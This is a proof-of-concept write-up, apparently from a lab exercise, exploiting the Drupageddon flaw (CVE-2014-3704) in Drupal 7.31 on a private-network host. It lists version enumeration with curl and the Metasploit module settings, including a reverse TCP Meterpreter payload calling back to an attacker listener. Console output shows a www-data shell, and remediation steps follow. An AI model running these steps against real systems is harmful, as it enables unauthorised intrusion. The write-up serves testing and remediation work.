Proof of Concept (PoC): Drupal Drupageddon (CVE-2014-3704)

Target

- **URL:** http://192.168.159.133/drupal/
- **Application:** Drupal CMS
- **Version:** Drupal 7.31

Step 1: Version Enumeration

curl http://192.168.159.133/drupal/CHANGELOG.txt

```
┌──(kali㉿kali)-[~]
└─$ curl http://192.168.159.133/drupal/CHANGELOG.txt

Drupal 7.31, 2014-08-06
-----------------------
- Fixed security issues (denial of service). See SA-CORE-2014-004.
```

Step 2: Exploitation

The Metasploit module exploit/multi/http/drupal_drupageddon was used to exploit improper input validation in Drupal's Form API, allowing unauthenticated remote code execution.

- **search drupal_drupageddon**
- **use 0**
- **set RHOSTS 192.168.159.133**
- **set TARGETURI /drupal/**
- **run**

```
msf6 > search drupal_drupageddon

Matching Modules
================

   #  Name                                                  Disclosure Date
  Rank       Check  Description
  -  ----                                                  ---------------

   0  exploit/multi/http/drupal_drupageddon                 2014-10-15
  excellent  No     Drupal HTTP Parameter Key/value SQL Injection
   1    \_ target: Drupal 7.0 - 7.31 (form-cache PHP injection method)  .
   .          .      .
   2    \_ target: Drupal 7.0 - 7.31 (user-post PHP injection method)   .
   .          .      .


Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/
http/drupal_drupageddon
After interacting with a module you can manually set a TARGET with set TARGET 'Drupal 7.
0 - 7.31 (user-post PHP injection method)'
```

```
msf6 exploit(multi/http/drupal_drupageddon) > options

Module options (exploit/multi/http/drupal_drupageddon):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:
                                         host:port][ ... ]
   RHOSTS     192.168.159.133  yes       The target host(s), see https://docs.metasplo
                                         it.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /drupal/         yes       The target URI of the Drupal installation
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified
                                     )
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Drupal 7.0 - 7.31 (form-cache PHP injection method)
```

Step 3: Successful Exploitation Evidence

A reverse shell was obtained with web-server privileges.

- **Shell**
- **id**

```
msf6 exploit(multi/http/drupal_drupageddon) > run
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Sending stage (40004 bytes) to 192.168.159.133
[*] Meterpreter session 1 opened (192.168.159.128:4444 → 192.168.159.133:59269) at 2026
-01-09 10:41:02 -0500

meterpreter > id
[-] Unknown command: id. Run the help command for more details.
meterpreter > shell
Process 18941 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Remediation

1) Apply Security Patches

- Upgrade the Drupal installation to the latest supported version (Drupal ≥ 7.32 or Drupal 8/9/10 as applicable).
- Apply all official Drupal core and module security updates addressing CVE-2014-3704 (Drupageddon).

2) Restrict Version Disclosure

- Remove or restrict public access to files such as CHANGELOG.txt and README.txt.
- Disable unnecessary information leakage through HTTP headers and error messages.

3) Harden File and Directory Permissions

- Restrict write access to the web root (/var/www/drupal) to trusted system users only.
- Ensure sensitive configuration files (e.g., settings.php) have strict read permissions.

4) Web Server and Application Hardening

- Disable execution of PHP files in upload and writable directories.
- Implement a Web Application Firewall (WAF) with rules to detect and block malicious requests targeting known CMS vulnerabilities.

5) Credential and Database Security

- Rotate exposed database credentials immediately.
- Enforce strong authentication and least-privilege access for database users.

6) Verification and Rescan

- Perform a full vulnerability rescan after patching to confirm remediation.
- Validate that exploitation attempts no longer succeed and document results.